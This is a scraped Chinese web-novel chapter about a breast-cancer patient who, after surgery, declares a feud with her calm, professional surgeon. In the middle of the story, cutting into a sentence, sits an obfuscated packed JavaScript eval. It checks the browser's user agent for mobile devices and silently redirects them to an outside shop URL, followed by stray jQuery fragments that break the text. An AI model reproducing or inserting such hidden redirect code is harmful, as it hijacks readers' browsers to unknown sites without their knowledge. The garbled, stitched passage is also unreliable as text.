默认冷灰
24号文字
方正启体

10. 结仇

作者:一打包子本书字数:K更新时间:
    第⑩章


    姜瑶和醋言同时一愣,转头看去。


    陆炎站在病房门口,他没穿白大褂,换了件黑色的衬衫,袖子挽到小臂,手里拿着一个病历夹,目光落在姜瑶身上。


    他没下班?还是又回来了?


    姜瑶看到他,刚刚当着醋言的那股子虚张气焰莫名滞了滞,但很快又熊熊燃烧起来,甚至因为正主的出现而更加理直气壮。


    她努力想撑起上半身,立刻被胸口的剧痛给按了回去,只能不甘心地瞪着陆炎:“负什么责?你说负什么责!”她指了指自己,“你切的!你把它弄没了!你……你不得给我个说法吗?”


    陆炎走到床边,看一眼监护仪上的数据,又俯身仔细看看她伤口敷料的情况,顺便调了一下镇痛泵的流速。


    他的靠近让姜瑶瞬间绷紧身体,屏住呼吸,瞪大眼睛看着他近在咫尺的脸。


    “说法?”陆炎直起身,看向她,“手术知情同意书第3页第7条,第5页第12条,第8页全部,都是关于切除范围,术后外形改变及可能风险的详细说明,你签了字,表示知情并同意,这就是说法。”


    姜瑶被他一串条款砸得有点懵,但输人不输阵,梗着脖子:“那是格式条款!无效!我根本没细看!你们医院欺负病人!”


    “是吗?”陆炎挑眉,“那我念给你听的时候,你为什么没反对?”


    姜瑶:“……你什么时候念了?!”她完全不记得有这段!


    “术前谈话,在我办公室。”陆炎提醒,“你当时说,‘行了行了别念了,字儿太小看着眼晕,反正就是切呗,赶紧的。’”


    姜瑶:“……”好像……是有这么回事。


    当时她心烦意乱,只想赶紧结束这一切,根本没往脑子里进。


    醋言在一旁听着,忍不住低下头,肩膀可疑地耸动。


    姜瑶脸上有点挂不住,但兀自嘴硬:“那……那不算!我那是……敷衍!不算正式同意!而且!”她抓住重点,“你切得太难看了!肯定是你技术不行!”


    陆炎静静地看着她,深邃的眼睛里闪过无奈的情绪,快得让人抓不住。


    他没反驳她关于技术的指控,再次将目光投向她左胸的位置。


    “手术切口沿乳腺下皱壁,长约6厘米,”他认真地解释,“皮内缝合,美容线,愈合后疤痕会很淡,不影响你以后穿低领衣服。”


    “当然,如果你觉得难看,等拆线后恢复一段时间,可以咨询整形科。不过我个人认为,目前保留下来的形态对称性尚可,假体植入或自体脂肪移植的风险,你需要仔细权衡。”


    姜瑶听得一愣一愣的,什么下皱壁,美容线,对称性,信息量太大,她麻药刚过的脑子处理不过来。


    但穿低领衣服和疤痕很淡这几个词,倒是听明白了。


    她还想接着说,却发现自己胡搅蛮缠的控诉,在他这种冷静的专业解答面前,显得如此苍白无力,甚至有点无理取闹。


    陆炎看一眼她茫然又倔强的脸,没再多说,转向醋言:“少量多次喂点米汤或温水,观察有没有恶心呕吐。镇痛泵按需使用,但不要过度,晚上我会再来看。”


    说完,他朝醋言略一点头,转身离开病房。


    病房里又安静下来,只剩下仪器规律的嘀嗒声。


    姜瑶呆呆地望着门口,刚才那股子劲头,咻地一下泄了大半,只剩下满满的无力感和无边无际的空洞。


    醋言重新拿起勺子,舀了点米汤,小心地递到她唇边,轻声说:“瑶瑶,陆医生他……其实挺负责的,我听护士说,昨天晚上,是他守了你一夜。”


    手术当天,醋言本是打算过来陪床的,行李都准备好了,但姜瑶就是不肯,愣是把人给撵走了。


    过了一会儿,她忽然很轻,很轻地说了一句:“……谁要穿低领衣服了。”声音低得几乎听不见。


    疼痛依旧存在,空荡的感觉依旧清晰,但,她宣战的决心,似乎松动了一丢丢。


    至少,她知道,园丁在修剪花草时,似乎……还考虑了一下,这株被病害侵袭的植物,未来“开花”时的样子。


    虽然,她可能再也开不出原来那朵花了。


    姜瑶闭上眼睛,一滴眼泪,悄悄地从眼角滑落,没入鬓角的乱发里。


    在她手边的镇痛泵,持续而稳定地输送着对抗生理疼痛的药物。


    至于心里的洞,和复杂难言的情绪,镇痛泵,无能为力。


    术后第三天的清晨,姜瑶靠在摇起的病床上,脸色比身下的床单好不了多少。


    麻药和镇痛泵带来的混沌屏障彻底撤离后,身体各处的知觉以清晰到残忍的方式回归。


    左胸伤口持续不断的钝痛,留置针在血管里的异物感,还有每一次呼吸都小心翼翼牵动肌肉的紧绷。


    但最清晰的,是胸口挥之不去的空。


    即使隔着厚厚的纱布和病号服,被挖走实质后留下的轻飘与空洞,无时无刻不在提醒她,有些东西消失了。


    门被推开,陆炎走了进来。


    他依旧穿着洁净的白大褂,手里拿着查房记录夹,身后跟着几个实习医生。


    姜瑶的目光像是带了雷达,在他踏进来的瞬间就锁定了他。


    陆炎走到床边,先看一眼床头的监护仪数据,然后目光落在她脸上。


    “感觉怎么样?”标准的查房问询语气。


    姜瑶没回答,静静看着他,因为消瘦而显得更大的眼睛,此刻黑沉沉的。


    “陆医生。”


    “嗯?”


    “手术,”姜瑶慢慢地说,说快了胸口会拉扯着疼,“成功吗?”


    陆炎对上她的视线:“很成功,肿瘤完整切除,切缘阴性。前哨淋巴结活检,未发现转移,病理分期,早期,预后很好。”


    早期,预后很好。


    这几个字,终于让惶惶不安的人,松了口气。


    她应该感到狂喜,感到劫后余生,感到压在心口的巨石被挪开。


    事实上,确实感到轻松。


    她舔舔干裂的嘴唇,对着陆炎一字一句地说道:“那,咱、俩、的、仇,正、式、结、下、了。”


    旁边的实习医生明显愣了一下,眼睛偷偷地在姜瑶和陆炎之间来回瞟,手里的笔记都忘了记。


    陆炎握着记录夹的指尖收紧,向来平静的眼睛,眯起来:“理由呢?”


    姜瑶扯扯嘴角,想笑,但立刻被牵扯的疼痛拉回去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214381|197445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你让我成了半胸女人,这仇,不该结?”


    “半胸女人”。


    她用这样一个粗粝的词,替代所有医学术语的包装,直指关乎身体完整的核心事实。


    陆炎沉默地看着她,看到她苍白的脸上强撑的凶狠,看到她眼底深处无法掩饰的颤抖和伤痛,也看到她用结仇这种方式,笨拙地为自己圈出一块可以站立,可以愤怒的阵地。


    她没有哭诉命运,没有质问为什么是她,而是选择把矛头对准了他,这个具体执行了剥夺动作的人。


    或许,对她来说,恨一个具体的人,比恨虚无的命运或该死的癌细胞,要容易得多。


    终于,陆炎极轻地吁了口气,气息轻到似乎只是睫毛颤动带起的风,迎着她的目光,很浅地点了一下头:“好,结下了。”


    查房继续。


    陆炎转向实习医生,开始低声询问和交代一些常规的术后观察要点和用药调整。


    实习医生赶紧收敛心神,努力跟上节奏,但眼角余光还是忍不住瞟向床上语出惊人的女病人。


    姜瑶没再说话,靠在床头,目光空茫地望着窗外刺眼的阳光。


    交代完毕,陆炎重新拿起记录夹,翻开姜瑶的病历页,准备记录本次查房情况。


    他写得很快,字迹是医生特有的潦草却自成体系的风格。


    写到术后情绪及心理状态一栏时,他停下,抬起眼,再次看向姜瑶。


    姜瑶感应到他的目光,也转过头来。


    脸上没什么表情,但眼睛清晰地传递出挑衅的意味,甚至微微挑了一下眉。


    陆炎脸上依旧没什么波澜,他收回视线,重新落笔。


    笔尖划过纸张的速度似乎慢了一丢丢。


    姜瑶看着他垂眸书写的侧脸,看着他专注时微抿的唇线,心里说不清道不明的烦躁又涌上来。


    凭什么他这么冷静?


    “你写什么了?”她忽然出声,“给我看看!”


    陆炎没停笔,也没抬头,淡淡回了一句:“病历暂时保密。”


    “保密?”姜瑶嗤笑一声,牵动了伤口,疼得她眉心一蹙,但嘴上不服输,“保密你还当着我的面写?怕我看了找你麻烦?你肯定没写什么好话!是不是写患者情绪偏激,有攻击医护倾向,建议加强心理疏导?”


    陆炎写完最后一个字,合上记录夹,啪的一声。


    “我写的是,患者术后情绪稳定,对自身病情认知清晰,对医患关系……”他微妙地停顿一下,“……有独特认知。”


    姜瑶愣住了。


    情绪稳定?独特认知?


    这算什么评价?跟她预想的“偏激”、“攻击性”完全不同,……有点中性,还有点……耐人寻味?


    还没等她品出这话里的味道,陆炎已经将记录夹递给旁边的实习医生,嘱咐一句:“今天的医嘱按刚才说的执行,注意观察引流液。”


    然后,转向姜瑶,依旧是公事公办的口吻,“好好休息,”他迎着姜瑶怔然的目光,补充了一个全新的称呼,“仇人。”


    说完,转身带着实习医生,离开病房。


    姜瑶独自坐在床上,阳光晃得她有些眼花,她暗暗念叨出声:“仇人……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)